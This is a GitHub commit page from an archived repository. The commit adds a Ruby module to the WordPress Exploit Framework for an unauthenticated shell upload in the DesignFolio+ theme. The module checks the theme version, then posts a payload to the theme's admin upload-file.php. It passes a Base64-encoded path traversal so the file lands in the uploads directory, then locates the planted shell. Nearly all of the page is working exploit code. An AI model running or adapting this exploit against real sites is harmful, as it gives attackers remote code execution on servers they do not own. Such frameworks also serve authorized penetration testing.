Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d8d3562

Browse files
committed
Add DesignFolio+ unauthenticated shell upload
1 parent 9a65a2c commit d8d3562

File tree

1 file changed

+48
-0
lines changed

1 file changed

+48
-0
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
require 'socket'
2+
3+
class Wpxf::Exploit::DesignfolioPlusShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ShellUpload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'DesignFolio+ Theme Unauthenticated Shell Upload',
11+
author: [
12+
'CrashBandicot', # Vulnerability disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '7880'],
17+
['EDB', '36372']
18+
],
19+
date: 'Mar 04 2015'
20+
)
21+
end
22+
23+
def check
24+
check_theme_version_from_readme('designfolio-plus')
25+
end
26+
27+
def uploader_url
28+
normalize_uri(wordpress_url_themes, 'designfolio-plus', 'admin', 'upload-file.php')
29+
end
30+
31+
def encoded_relative_path_to_uploads
32+
Base64.strict_encode64('../../../uploads')
33+
end
34+
35+
def payload_body_builder
36+
target_ip = IPSocket.getaddress(target_host)
37+
field_name = Utility::Text.md5(target_ip)
38+
39+
builder = Utility::BodyBuilder.new
40+
builder.add_file_from_string(field_name, payload.encoded, payload_name)
41+
builder.add_field('upload_path', encoded_relative_path_to_uploads)
42+
builder
43+
end
44+
45+
def uploaded_payload_location
46+
normalize_uri(wordpress_url_uploads, payload_name.downcase)
47+
end
48+
end

0 commit comments

Comments
 (0)